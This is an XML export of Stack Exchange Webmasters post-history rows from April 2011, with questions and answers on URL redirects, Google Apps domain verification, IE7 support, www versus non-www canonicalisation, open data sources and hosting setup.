  <row Id="27108" PostHistoryTypeId="2" PostId="11904" RevisionGUID="706201a1-753d-4364-a405-c332e60f013a" CreationDate="2011-04-09T14:13:11.607" UserId="6679" Text="If its a one off you just make sure your terminal is in UTF-8 mode, then paste the arabic into a RedirectMatch as normal.&#xD;&#xA;&#xD;&#xA;    RedirectMatch permanent /news/view/1.html /خبر/عنوان-الخبر&#xD;&#xA;&#xD;&#xA;If you wanted it dynamic (i.e. some database which lets you know the title of 1.html) then yes, that would need some PHP.&#xD;&#xA;&#xD;&#xA;But if you are saying that 1.html is actually the correct URL, and you just want to change the text that appears in the browser address bar, I don't think that can be done" />
  <row Id="27109" PostHistoryTypeId="5" PostId="11902" RevisionGUID="9f5d0d19-b6f8-49f7-8a71-6d84256f63e1" CreationDate="2011-04-09T14:15:47.497" UserId="1064" Comment="Revised" Text="I have a table in my HTML document that is wider than the display area, however, I am not presented with a horizontal scroll bar.&#xD;&#xA;&#xD;&#xA;What should I do?" />
  <row Id="27110" PostHistoryTypeId="4" PostId="11902" RevisionGUID="9f5d0d19-b6f8-49f7-8a71-6d84256f63e1" CreationDate="2011-04-09T14:15:47.497" UserId="1064" Comment="Revised" Text="Missing scrollbar with table wider than browser display area" />
  <row Id="27113" PostHistoryTypeId="25" PostId="11863" RevisionGUID="4b2cffdc-c6b8-4a39-9302-ec96b2b4374f" CreationDate="2011-04-09T15:09:04.127" Comment="http://twitter.com/#!/StackWebmasters/status/56735383148433408" />
  <row Id="27114" PostHistoryTypeId="2" PostId="11906" RevisionGUID="c99c81b6-40ca-4f4d-a92a-26ba1244dc33" CreationDate="2011-04-09T16:19:25.997" UserId="6705" Text="I registered a domain with Namecheap.com, and started the Google Apps registration process. After the initial data filling, google apps wishes me to prove the ownership of a domain, and has given me 4 choices:  &#xD;&#xA;&#xD;&#xA;- Add a DNS record to your domain's configuration  &#xD;&#xA;- Link to your Google Analytics account  &#xD;&#xA;- Upload an HTML file to your server  &#xD;&#xA;- Add a meta tag to your site's home page&#xD;&#xA;&#xD;&#xA;How do I (if someone knows perhaps how to do it on Namecheap, it would be even better) complete this step in the process?&#xD;&#xA;&#xD;&#xA;I would appreciate any advice you might have.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="27115" PostHistoryTypeId="1" PostId="11906" RevisionGUID="c99c81b6-40ca-4f4d-a92a-26ba1244dc33" CreationDate="2011-04-09T16:19:25.997" UserId="6705" Text="Verifying the ownership of a domain with Google Apps/Namecheap" />
  <row Id="27116" PostHistoryTypeId="3" PostId="11906" RevisionGUID="c99c81b6-40ca-4f4d-a92a-26ba1244dc33" CreationDate="2011-04-09T16:19:25.997" UserId="6705" Text="&lt;google-apps&gt;" />
  <row Id="27117" PostHistoryTypeId="5" PostId="11906" RevisionGUID="cfc8205a-f738-485b-b442-9757f8189b85" CreationDate="2011-04-09T16:24:56.943" UserId="6705" Comment="added 43 characters in body" Text="I registered a domain with Namecheap.com, and started the Google Apps registration process. After the initial data filling, google apps wishes me to prove the ownership of a domain, and has given me 4 choices:  &#xD;&#xA;&#xD;&#xA;- Add a DNS record to your domain's configuration  &#xD;&#xA;- Link to your Google Analytics account  &#xD;&#xA;- Upload an HTML file to your server  &#xD;&#xA;- Add a meta tag to your site's home page&#xD;&#xA;&#xD;&#xA;What is the differences between these, and how do I (if someone knows perhaps how to do it on Namecheap, it would be even better) complete this step in the process?&#xD;&#xA;&#xD;&#xA;I would appreciate any advice you might have.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="27118" PostHistoryTypeId="2" PostId="11907" RevisionGUID="5bdebf34-0f41-4d48-850e-743119c559b8" CreationDate="2011-04-09T16:44:08.790" UserId="1009" Text="Adding a DNS record to your domain's configuration is probably the easiest option for you. The other options require you to modify files on your web server, which you may not have set up if you are only interested in email.&#xD;&#xA;&#xD;&#xA;Instructions for NameCheap:&#xD;&#xA;&#xD;&#xA; 1. [Get the verification code from Google.][1] Make sure you have chosen the DNS method. The code looks something like this: `google-site-verification=owWoTtsd...`&#xD;&#xA; 2. Find the NameCheap settings for your domain, then go to &quot;All Host Records&quot;. You may also copy-paste this address, replacing your domain where appropriate: `https://manage.www.namecheap.com/myaccount/modsingle.asp?domain=YOURDOMAIN.COM&amp;type=hosts&amp;rkey=NC'`&#xD;&#xA; 3. Add a TXT type record with the code from Google in step 1. I guess you should use the &quot;IP ADDRESS/URL&quot; field.&#xD;&#xA; 4. Wait up to 24 hours. DNS changes may actually take up to 72 hours to propagate, but I have sometimes successfully verified after only a a few hours.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/a/bin/answer.py?answer=60216" />
  <row Id="27119" PostHistoryTypeId="5" PostId="11907" RevisionGUID="2534760b-c0d0-4ad1-bc65-eeb99c5fd977" CreationDate="2011-04-09T16:50:51.527" UserId="1009" Comment="added 56 characters in body" Text="Adding a DNS record to your domain's configuration is probably the easiest option for you. The other options require you to modify files on your web server, which you may not have set up if you are only interested in email.&#xD;&#xA;&#xD;&#xA;Instructions for NameCheap:&#xD;&#xA;&#xD;&#xA; 1. [Get the verification code from Google.][1] Make sure you have chosen the DNS method. The code looks something like this: `google-site-verification=owWoTtsd...`&#xD;&#xA; 2. Find the NameCheap settings for your domain, then go to &quot;All Host Records&quot;. You may also copy-paste this address, replacing your domain where appropriate: `https://manage.www.namecheap.com/myaccount/modsingle.asp?domain=YOURDOMAIN.COM&amp;type=hosts&amp;rkey=NC'`&#xD;&#xA; 3. Add a TXT type record with the code from Google in step 1. I guess you should use the &quot;IP ADDRESS/URL&quot; field. The &quot;HOST HAME&quot; field should be `@` or just left blank.&#xD;&#xA; 4. Wait up to 24 hours. DNS changes may actually take up to 72 hours to propagate, but I have sometimes successfully verified after only a a few hours.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/a/bin/answer.py?answer=60216" />
  <row Id="27120" PostHistoryTypeId="2" PostId="11908" RevisionGUID="8dcd374b-a828-4091-b329-a84aa0fc585d" CreationDate="2011-04-09T16:53:53.100" UserId="6706" Text="Try this [poll widget][1]. Very customizable and free as per your requirement. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://pollwidget.org" />
  <row Id="27121" PostHistoryTypeId="2" PostId="11909" RevisionGUID="62dd4140-3476-432d-874a-daac69caaf62" CreationDate="2011-04-09T17:36:43.693" UserId="6710" Text="The first thing to do is create or claim the Google Places page for each geographic location, and list as the website the appropriate landing page on your site. Make sure the name, address, phone number of each Places page exactly matches the NAP on your city specific pages and the city directories.  Solicit some reviews from customers in each of those areas. That will go a long way toward ranking within the local search results in each city.&#xD;&#xA;&#xD;&#xA;To prevent the duplicate content issue, consider talking about area-specific specials, or include pictures of the store and staff for each page. You can also include a Google Map and directions on each of the pages." />
  <row Id="27122" PostHistoryTypeId="2" PostId="11910" RevisionGUID="81853747-1d68-45cb-89d9-4a2399a81a74" CreationDate="2011-04-09T17:45:19.697" UserId="6710" Text="Try using a site like Linklicious.me that creates feeds from links then pings Google until the link(s) get crawled. That and the sitemap will improve the speed, but can still take several days. I would set up the site now and submit the sitemap, so when the time comes to add your new content at least the site has already been indexed. Additionally, blasting your content through Twitter, Facebook, Flickr, YouTube, etc. as well as discussion forums will help things get picked up faster." />
  <row Id="27123" PostHistoryTypeId="2" PostId="11911" RevisionGUID="60f691e2-2ee6-4903-8984-5a4886e2522d" CreationDate="2011-04-09T17:46:49.790" UserId="6711" Text="Does anyone know of a site that lists various open source data feeds or data stores?  By this I do not mean OS database applications like MySQL or Postgre, but royalty free sources of DATA.  For example, IMDB.com allows you to download their data for free, but it is proprietary and cannot be used for commercial purposes for less than $10k.  It would be nice if there was a royalty free version of that somewhere.  However I'm looking for any source of data in any industry--entertainment, auto, tech, etc.  " />
  <row Id="27124" PostHistoryTypeId="1" PostId="11911" RevisionGUID="60f691e2-2ee6-4903-8984-5a4886e2522d" CreationDate="2011-04-09T17:46:49.790" UserId="6711" Text="Royalty free, Open Source Data" />
  <row Id="27125" PostHistoryTypeId="3" PostId="11911" RevisionGUID="60f691e2-2ee6-4903-8984-5a4886e2522d" CreationDate="2011-04-09T17:46:49.790" UserId="6711" Text="&lt;database&gt;&lt;free&gt;&lt;open-source&gt;&lt;data&gt;" />
  <row Id="27126" PostHistoryTypeId="17" PostId="11913" RevisionGUID="ed6efa08-8c75-4263-b4a9-75fb19cccd10" CreationDate="2011-04-09T17:56:09.673" UserId="-1" Comment="from http://stackoverflow.com/questions/5587184/should-i-drop-support-for-ie7/5587226#5587226" Text="" />
  <row Id="27127" PostHistoryTypeId="17" PostId="11914" RevisionGUID="d6e78f63-115d-4296-b9ba-ed9b90d4744b" CreationDate="2011-04-09T17:56:09.673" UserId="-1" Comment="from http://stackoverflow.com/questions/5587184/should-i-drop-support-for-ie7/5587240#5587240" Text="" />
  <row Id="27128" PostHistoryTypeId="17" PostId="11915" RevisionGUID="1023bc29-b8c6-48bb-bb06-302d21051381" CreationDate="2011-04-09T17:56:09.673" UserId="-1" Comment="from http://stackoverflow.com/questions/5587184/should-i-drop-support-for-ie7/5587294#5587294" Text="" />
  <row Id="27129" PostHistoryTypeId="17" PostId="11916" RevisionGUID="50c67816-7c45-47a3-b525-32209503d5b4" CreationDate="2011-04-09T17:56:09.673" UserId="-1" Comment="from http://stackoverflow.com/questions/5587184/should-i-drop-support-for-ie7/5587295#5587295" Text="" />
  <row Id="27130" PostHistoryTypeId="2" PostId="11913" RevisionGUID="0a50be8f-b76a-4f79-9d64-24c78a793de8" CreationDate="2011-04-07T20:30:19.060" UserId="1780" Text="IE7 is obviously going to become the new IE6; however, it's not entirely out the door yet. &#xD;&#xA;&#xD;&#xA;Whether it makes sense for you to support it, will entirely depend on your user base and other factors. The answers given on this webmasters.SE question: [Should I bother supporting IE6?][1] essentially basically apply to any version.&#xD;&#xA;&#xD;&#xA;I'm in charge of a number of sites with a mainstream end-user audience, and I'm seeing to it that every one of them remains usable in IE7. The pain of doing that is arguably  much, much smaller than the hoops you had to jump through to support IE6.&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/134/should-i-bother-supporting-ie6" />
  <row Id="27131" PostHistoryTypeId="2" PostId="11915" RevisionGUID="685c92fc-5a52-4162-ad3c-9ae8e6e4e76d" CreationDate="2011-04-07T20:35:16.800" UserId="710" Text="It depends who will be using your product.   &#xD;&#xA;Even if IE6 is ages old and the alpha geeks say it's dead, [there are still people who are using it][1].  &#xD;&#xA;Same with IE7, except that it's probably used by more people than IE6.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;So, if your product is only for alpha geeks, drop IE7 support.  &#xD;&#xA;If everyone should be able to use it, you probably should support IE7 *(and dare I say it, maybe even IE6?)*&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Internet_Explorer_6#Market_share" />
  <row Id="27132" PostHistoryTypeId="2" PostId="11916" RevisionGUID="6767e735-5031-4fa9-948d-e6ebeb41475c" CreationDate="2011-04-07T20:35:36.783" UserDisplayName="Afshin Gh" Text="If your users still use it, you should support it. For example I developed an app for a medium sized company. Most of the computers at that company are winXP and still using IE6, so I must support IE6.&#xD;&#xA;&#xD;&#xA;Also in my country IE6 is so popular. I have to support it or I may loose many users.&#xD;&#xA;&#xD;&#xA;This also goes with IE7.&#xD;&#xA;&#xD;&#xA;Short answer: If **many of your users**, use it, so you have to support it or you will loose them." />
  <row Id="27133" PostHistoryTypeId="2" PostId="11914" RevisionGUID="c832e360-ab68-4f0b-865e-db355cdfc112" CreationDate="2011-04-07T20:31:14.467" UserDisplayName="Numenor" Text="support chrome, mozilla, safari forget about IE. In time(with IE 9 for instance) IE is going to implement standarts right. &#xD;&#xA;&#xD;&#xA;And also if you can use a library that supports browsers like JQuery for instance so you do not deal with them unless you are the one developing something like JQuery." />
  <row Id="27134" PostHistoryTypeId="2" PostId="11912" RevisionGUID="4df8fcfa-d323-45aa-ad15-cabe53441197" CreationDate="2011-04-07T20:26:57.550" UserDisplayName="cups393" Text="IE9 is out the door, IE8 is on the rise, and IE6 is deemed gone by the internet.&#xD;&#xA;&#xD;&#xA;What is the future of IE7? Should I continue to support it if I am launching a product in 6 months? I am afraid it will become obsolete.&#xD;&#xA;&#xD;&#xA;EDIT: Short question, is IE7 out the door?" />
  <row Id="27135" PostHistoryTypeId="1" PostId="11912" RevisionGUID="4df8fcfa-d323-45aa-ad15-cabe53441197" CreationDate="2011-04-07T20:26:57.550" UserDisplayName="cups393" Text="Should I drop support for IE7?" />
  <row Id="27136" PostHistoryTypeId="3" PostId="11912" RevisionGUID="4df8fcfa-d323-45aa-ad15-cabe53441197" CreationDate="2011-04-07T20:26:57.550" UserDisplayName="cups393" Text="&lt;internet-explorer&gt;&lt;browsers&gt;&lt;internet-explorer-7&gt;" />
  <row Id="27137" PostHistoryTypeId="17" PostId="11912" RevisionGUID="e53a9ad1-a35f-4b17-a738-2a5619989e91" CreationDate="2011-04-09T17:56:09.673" UserId="-1" Comment="from http://stackoverflow.com/questions/5587184/should-i-drop-support-for-ie7" Text="" />
  <row Id="27138" PostHistoryTypeId="2" PostId="11917" RevisionGUID="b3835c4f-7383-4e64-876c-cdd8cddcdbd8" CreationDate="2011-04-09T17:57:39.237" UserId="6355" Text="Freebase has structured data on approximately 20 million topics or entities. &#xD;&#xA;&#xD;&#xA;http://wiki.freebase.com/wiki/What_is_Freebase%3F&#xD;&#xA;&#xD;&#xA;http://en.wikipedia.org/wiki/Freebase_%28database%29" />
  <row Id="27139" PostHistoryTypeId="25" PostId="11906" RevisionGUID="356b31fb-cb01-4820-af88-508fd93f9b2f" CreationDate="2011-04-09T18:09:04.003" Comment="http://twitter.com/#!/StackWebmasters/status/56780681480638464" />
  <row Id="27140" PostHistoryTypeId="2" PostId="11918" RevisionGUID="6c84331d-1233-4388-91ce-e7ffee1a2941" CreationDate="2011-04-09T18:20:00.287" UserId="6707" Text="I am not really sure whether this is the right forum to put up this. But here it goes.&#xD;&#xA;&#xD;&#xA;I am a Hosting Controller and Automated Hosting Management solution provider for Microsoft Products and Services (Exchange, SharePoint, CRM, Unified Messaging etc). &#xD;&#xA;&#xD;&#xA;Currently I am using Microsoft HMC 4.0 as my main Hosting Solution along with some other solutions for Automated hosting management of Websites, 3rd Party Mail Service Providers, DNS Service Providers and Scripted Solution (Perl, Python, Cold-fusion support). Microsoft will end support for HMC soon enough and i am not really ready to upgrade to [MCCS][1] due to various issues discussed in the very same article. &#xD;&#xA;&#xD;&#xA;I need an All-In-One Hosting Automation and Management solution for Microsoft Services that must essentially support the following services:&#xD;&#xA;&#xD;&#xA; 1. **Long term business Support** (HMC 4.5 is the last version of this solution. Microsoft will support HMC 3.5 through July 12, 2011, and will support HMC 4.x through December 12, 2011.)&#xD;&#xA; 2. **Product Support for Latest Features** (Exchange 2010, Sharepoint 2010, CRM 2011, OCS 2010 (Lync 2010), Blackberry 4 and 5)&#xD;&#xA; 3. **All-IN-One Support for all Products and Services**(Spending on individual solutions is wastage of money for me)&#xD;&#xA; 4. **Legacy Microsoft Support** (Exchange 2007, CRM 4.0, Sharepoint WSS 3.0)&#xD;&#xA; 5. **Self Service sort of Control Panel** (For Clients and Resellers)&#xD;&#xA; 6. **Automatic Billing System** (Must be part of the complete solution)&#xD;&#xA; 7. **Migration of Exchange 2007 Existing Customers to Exchange 2010**.&#xD;&#xA;&#xD;&#xA;  [1]: http://stevemiles70.wordpress.com/2011/02/02/hmc-is-now-mccs-messaging-and-collaboration-cloud-services-hosting-exchange-2010/&#xD;&#xA;&#xD;&#xA;The bullets from 1 to 9 are my business's stringent requirements. Paying for multiple solutions is costly both in terms of management and support as well as licensing. I have been using a separate billing system solution that is not tightly integrated with HMC and i have to face issues from time to time due to it. I need to have a tightly integrated billing system with my hosting management solution. &#xD;&#xA;&#xD;&#xA;I need to provide my clients with a proper central control panel/dashboard/portal from where clients, resellers and myself can manage each product's provisioning and associated services, manage subscriptions and billing. I need long term support for the solution. I also have a strong requirement of upgrading (migrating) some of my existing users/organizations/mailboxes etc of Exchange 2007 to Exchange 2010.&#xD;&#xA;&#xD;&#xA;Please suggest an All-In-One Automated Hosting management solution that meets the above requirements at the moment. I have been looking a couple of hosting panels that support Microsoft products and meet most of the above requirements. But i cant just go for any one of any without seeking help from the community. &#xD;&#xA;&#xD;&#xA;Thank you.&#xD;&#xA;&#xD;&#xA;Best Regards.&#xD;&#xA;&#xD;&#xA;Steve" />
  <row Id="27141" PostHistoryTypeId="1" PostId="11918" RevisionGUID="6c84331d-1233-4388-91ce-e7ffee1a2941" CreationDate="2011-04-09T18:20:00.287" UserId="6707" Text="Please suggest Alternative to Microsoft HMC, an Automated Hosting Managment Solution for all Microsoft Products?" />
  <row Id="27142" PostHistoryTypeId="3" PostId="11918" RevisionGUID="6c84331d-1233-4388-91ce-e7ffee1a2941" CreationDate="2011-04-09T18:20:00.287" UserId="6707" Text="&lt;web-hosting&gt;&lt;microsoft&gt;&lt;automation&gt;&lt;cloud&gt;" />
  <row Id="27143" PostHistoryTypeId="2" PostId="11919" RevisionGUID="1cbd8319-6a8a-4ac6-b792-f2bff7512d93" CreationDate="2011-04-09T19:16:12.983" UserId="6714" Text="Ive come into a bit of an issue lately regarding shopping cart software, and i would like some recommendations.&#xD;&#xA;&#xD;&#xA;I have been an OsCommerce developer for years now, and im finding alot of my clients are wanting updated looking backends ... OSC is fantastic, but the fact that its not being updated anymore and that its clunky and table based is taking up quite a bit of my time.&#xD;&#xA;&#xD;&#xA;I have built a few sites on Magento, and although it gives quite a good backend, it is the slowest shopping cart i have ever come across in my time, that and the fact that modifying it takes years, has convinced me not to use that again.&#xD;&#xA;&#xD;&#xA;So, i like any input as to what people are finding good in todays open source shopping cart software." />
  <row Id="27144" PostHistoryTypeId="1" PostId="11919" RevisionGUID="1cbd8319-6a8a-4ac6-b792-f2bff7512d93" CreationDate="2011-04-09T19:16:12.983" UserId="6714" Text="Open Source Shopping Cart Software" />
  <row Id="27145" PostHistoryTypeId="3" PostId="11919" RevisionGUID="1cbd8319-6a8a-4ac6-b792-f2bff7512d93" CreationDate="2011-04-09T19:16:12.983" UserId="6714" Text="&lt;shopping-cart&gt;" />
  <row Id="27146" PostHistoryTypeId="2" PostId="11920" RevisionGUID="f5351a93-07b7-49d7-8cc9-2363ed14b12a" CreationDate="2011-04-09T19:54:05.530" UserId="6630" Text="[OpenCart][1] is opensource &amp; free.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.opencart.com/" />
  <row Id="27150" PostHistoryTypeId="2" PostId="11922" RevisionGUID="92ea2a5c-ca14-46b4-8c72-c5178a704582" CreationDate="2011-04-09T20:28:00.273" UserId="6715" Text="The facebook plugin is automatically located based on the user location. I'm from Spain, and I see the button in Spanish. I guess the same applies for the Turkish user base." />
  <row Id="27151" PostHistoryTypeId="2" PostId="11923" RevisionGUID="3304df25-c854-4cea-abdf-29effd5162a9" CreationDate="2011-04-09T20:50:20.607" UserId="6718" Text="Freebase is a great option as Osvaldo mentioned, some others that look interesting (haven't personally tested them but have browsed / heard mention of):&#xD;&#xA;&#xD;&#xA;[http://opendata.socrata.com/][1]&#xD;&#xA;&#xD;&#xA;[http://www.infochimps.com/search?query=&amp;view=list&amp;price_category=free&amp;dataset_type=&amp;has_categories=&amp;order=balanced][2]&#xD;&#xA;&#xD;&#xA;Although not a list of useable data sets for free, Some cool data on the federal budget available for the data viz challenge which could be some fun if you're just trying to learn something.  Not so useful if you're trying to build something to sell :) &#xD;&#xA;&#xD;&#xA;www.datavizchallenge.org/data - sorry for not hyperlinking these - don't have enough rep to do more than two hyperlinks :)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://opendata.socrata.com/&#xD;&#xA;  [2]: http://www.infochimps.com/search?query=&amp;view=list&amp;price_category=free&amp;dataset_type=&amp;has_categories=&amp;order=balanced" />
  <row Id="27155" PostHistoryTypeId="17" PostId="11926" RevisionGUID="78576e21-70b7-4321-9418-a8176c762bd7" CreationDate="2011-04-09T20:56:28.660" UserId="-1" Comment="from http://stackoverflow.com/questions/5607736/to-www-or-not-to-www/5607758#5607758" Text="" />
  <row Id="27156" PostHistoryTypeId="2" PostId="11926" RevisionGUID="79f2bfdb-b380-4eca-823e-a8d595f6217e" CreationDate="2011-04-09T20:39:41.457" UserDisplayName="Femaref" Text="1. I don't currently have an active one, but if I had, I would allow both, but redirect from `www` to simply `http://`&#xD;&#xA;2. there is a difference, see http://serverfault.com/questions/145777/whats-the-point-in-having-www-in-a-url&#xD;&#xA;3. I would make the non-www the default, but would redirect if somebody requested the www one.&#xD;&#xA;&#xD;&#xA;**edit** I wasn't aware of the DNS issue." />
  <row Id="27157" PostHistoryTypeId="2" PostId="11925" RevisionGUID="97173f00-12f0-46f6-8290-a74095ce52b1" CreationDate="2011-04-09T20:35:37.857" UserDisplayName="Andrew" Text="I'm getting ready to deploy my Rails app. Currently whether you browse to it using www.domain.com or just domain.com you get the same site.&#xD;&#xA;&#xD;&#xA;I'm pretty new at this, so I'm looking for some wisdom from experienced web app developers:&#xD;&#xA;&#xD;&#xA;Is it worth forcing requests to either WWW or non-WWW? It seems there are apps that go either way...&#xD;&#xA;&#xD;&#xA;I know that this kind of question is in danger of being too subjective, but to help keep it objective here's a few specific questions that I'd really appreciate answers to:&#xD;&#xA;&#xD;&#xA;1. Does your web app force requests to WWW or root domain, or does it allow both equally?&#xD;&#xA;2. What technical reasons are there for choosing one option or the other (honestly I don't know if it even makes a difference).&#xD;&#xA;3. If you were building a new web app today, which option would you choose?&#xD;&#xA;&#xD;&#xA;I appreciate any advice.&#xD;&#xA;&#xD;&#xA;--EDIT--&#xD;&#xA;&#xD;&#xA;To reiterate what I'm looking for as distinct from [this question][1] are there specific ramifications for web applications that I should be aware of before I make a decision and deploy? In particular if any Rails developers have had issues related to one option or the other that would be really helpful to know.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://serverfault.com/q/145777" />
  <row Id="27158" PostHistoryTypeId="1" PostId="11925" RevisionGUID="97173f00-12f0-46f6-8290-a74095ce52b1" CreationDate="2011-04-09T20:35:37.857" UserDisplayName="Andrew" Text="To WWW or not to WWW" />
  <row Id="27159" PostHistoryTypeId="3" PostId="11925" RevisionGUID="97173f00-12f0-46f6-8290-a74095ce52b1" CreationDate="2011-04-09T20:35:37.857" UserDisplayName="Andrew" Text="&lt;ruby-on-rails&gt;&lt;web&gt;&lt;redirects&gt;&lt;no-www&gt;" />
  <row Id="27160" PostHistoryTypeId="17" PostId="11925" RevisionGUID="48bea20c-7d1e-4924-b843-0b9ff5588fee" CreationDate="2011-04-09T20:56:28.660" UserId="-1" Comment="from http://stackoverflow.com/questions/5607736/to-www-or-not-to-www" Text="" />
  <row Id="27164" PostHistoryTypeId="25" PostId="11925" RevisionGUID="dccacabd-bc70-4452-999a-004af96e04f5" CreationDate="2011-04-09T21:09:05.027" Comment="http://twitter.com/#!/StackWebmasters/status/56825984690814976" />
  <row Id="27165" PostHistoryTypeId="2" PostId="11928" RevisionGUID="706a6e48-bf1d-4e6f-9b8a-ece5e2ace0ed" CreationDate="2011-04-09T22:22:40.467" UserId="1874" Text="I would like to add &quot;Comments&quot; module to my online store.&#xD;&#xA;&#xD;&#xA;It's goal is to display external comments for any item from some other big players in this industry.&#xD;&#xA;&#xD;&#xA;This content will be translated to local languages(Russian or Ukrainian),that helps customers to choose right item.&#xD;&#xA;&#xD;&#xA;So have some questions.&#xD;&#xA;&#xD;&#xA;**1.** Is it legally? I mean that I use external unique content.&#xD;&#xA;&#xD;&#xA;**2.** Can it decrease search rating for my site?&#xD;&#xA;&#xD;&#xA;Thank you for help." />
  <row Id="27166" PostHistoryTypeId="1" PostId="11928" RevisionGUID="706a6e48-bf1d-4e6f-9b8a-ece5e2ace0ed" CreationDate="2011-04-09T22:22:40.467" UserId="1874" Text="Usage of external content translated to local language" />
  <row Id="27167" PostHistoryTypeId="3" PostId="11928" RevisionGUID="706a6e48-bf1d-4e6f-9b8a-ece5e2ace0ed" CreationDate="2011-04-09T22:22:40.467" UserId="1874" Text="&lt;legal&gt;&lt;site-ranking&gt;&lt;duplicate-content&gt;&lt;translation&gt;" />
  <row Id="27171" PostHistoryTypeId="2" PostId="11929" RevisionGUID="b476eef2-a66b-44e1-9967-7bbc5acff308" CreationDate="2011-04-09T23:52:51.580" UserId="4744" Text="I have auto translated articles in portugues and I need to hire people to check the grammars etc.&#xD;&#xA;&#xD;&#xA;Considering I need portugues (that can speak english a little to make agreements) where should I look for?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="27172" PostHistoryTypeId="1" PostId="11929" RevisionGUID="b476eef2-a66b-44e1-9967-7bbc5acff308" CreationDate="2011-04-09T23:52:51.580" UserId="4744" Text="Where to hire poeple for data submission?" />
  <row Id="27173" PostHistoryTypeId="3" PostId="11929" RevisionGUID="b476eef2-a66b-44e1-9967-7bbc5acff308" CreationDate="2011-04-09T23:52:51.580" UserId="4744" Text="&lt;hiring&gt;" />
  <row Id="27174" PostHistoryTypeId="25" PostId="11918" RevisionGUID="0b05e74d-3cd3-4724-9be1-8dfecfeedff2" CreationDate="2011-04-10T00:09:06.160" Comment="http://twitter.com/#!/StackWebmasters/status/56871287531909120" />
  <row Id="27178" PostHistoryTypeId="2" PostId="11931" RevisionGUID="db36946f-708f-411a-9c2a-d4a6dfbee91f" CreationDate="2011-04-10T00:33:24.627" UserId="3166" Text="Maybe you can find help in one of these sites:&#xD;&#xA;&#xD;&#xA; - [Amazon's mtirk][1]&#xD;&#xA; - [Fiverr][2]&#xD;&#xA; - [Elance][3]&#xD;&#xA;&#xD;&#xA;  [1]: https://www.mturk.com&#xD;&#xA;  [2]: http://www.fiverr.com/&#xD;&#xA;  [3]: http://www.elance.com/" />
  <row Id="27180" PostHistoryTypeId="2" PostId="11933" RevisionGUID="2bc8f0eb-16be-463c-afdd-e00c5ab713f8" CreationDate="2011-04-10T00:44:10.853" UserId="3166" Text="Use www as the default one and force redirect to www with this htaccess script:&#xD;&#xA;&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    RewriteCond %{HTTP_HOST} !^www.WEBSITE.com$&#xD;&#xA;    RewriteRule ^(.*)$ http://www.WEBSITE.com/$1 [R=301]&#xD;&#xA;&#xD;&#xA;This way you avoid duplicate content on Google." />
  <row Id="27182" PostHistoryTypeId="2" PostId="11934" RevisionGUID="2aa8708a-17d3-4f56-ad60-dc3f9ccf9e9b" CreationDate="2011-04-10T01:24:28.777" UserId="2044" Text="i have recently signuped knownhost vps package. my account has been setup in their part. They want me to create ns1.outsourcingnepal.com and ns2.outsourcingnepal.com in my registar and point to their given ip address.&#xD;&#xA;&#xD;&#xA;i checked my registar site... i can change the dns info and other too but where do i create those two add and add the ips?" />
  <row Id="27183" PostHistoryTypeId="1" PostId="11934" RevisionGUID="2aa8708a-17d3-4f56-ad60-dc3f9ccf9e9b" CreationDate="2011-04-10T01:24:28.777" UserId="2044" Text="how do i create ns1.outsourcingnepal.com" />
  <row Id="27184" PostHistoryTypeId="3" PostId="11934" RevisionGUID="2aa8708a-17d3-4f56-ad60-dc3f9ccf9e9b" CreationDate="2011-04-10T01:24:28.777" UserId="2044" Text="&lt;web-hosting&gt;&lt;registrar&gt;" />
  <row Id="27185" PostHistoryTypeId="2" PostId="11935" RevisionGUID="80394995-920e-49e4-bada-042078be8d28" CreationDate="2011-04-10T01:28:07.460" UserId="6725" Text="My new SAAS product is a month or two from launch, and I've had a temporary (trademark approved) site up for a long time, and announced it publicly at a conference in January to potential customers &amp; collaborators).  A competitor just popped up with a suspiciously similarly constructed product, but without my background in the content area.  A content provider on his site is well-known to me, and I had offered to speak on the subject of my product at his seminars.  I foolishly wrote the content provider, not realizing he was more than a contributor--he was THE expert on the site.  Within days I saw the competitor's site shift to copy my own product position even further. I've taken down the temporary site and am focusing on getting my far better product out. My concern:  he could potentially  accuse ME of copying him, since he's already launched (an incomplete product, but his game was clearly to beat me out the door.)  My choices:  1.  Send a note staking out my territory to preempt him and make him think twice about copying me further when I launch (the years I've spent in development, the public announcement in January.  2.  Just ignore him and move on.&#xD;&#xA;&#xD;&#xA;Thanks--I saw a similar question so thought this might be appropriate here.  " />
  <row Id="27186" PostHistoryTypeId="1" PostId="11935" RevisionGUID="80394995-920e-49e4-bada-042078be8d28" CreationDate="2011-04-10T01:28:07.460" UserId="6725" Text="Better to ignore competitor who looks like a copycat, or send a notice?" />
  <row Id="27187" PostHistoryTypeId="3" PostId="11935" RevisionGUID="80394995-920e-49e4-bada-042078be8d28" CreationDate="2011-04-10T01:28:07.460" UserId="6725" Text="&lt;copyright&gt;&lt;protection&gt;" />
  <row Id="27191" PostHistoryTypeId="2" PostId="11937" RevisionGUID="80ae8aac-5a5a-4b8b-b0e9-9e519f1d8a53" CreationDate="2011-04-10T02:58:19.440" UserId="6487" Text="I've had success with [Odesk][1]. Just be sure to spend the time filtering/interviewing candidates before hiring them.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://odesk.com" />
  <row Id="27193" PostHistoryTypeId="25" PostId="11935" RevisionGUID="40df6025-52b5-4cdd-8079-42f3ae650ab0" CreationDate="2011-04-10T03:09:05.603" Comment="http://twitter.com/#!/StackWebmasters/status/56916583611760640" />
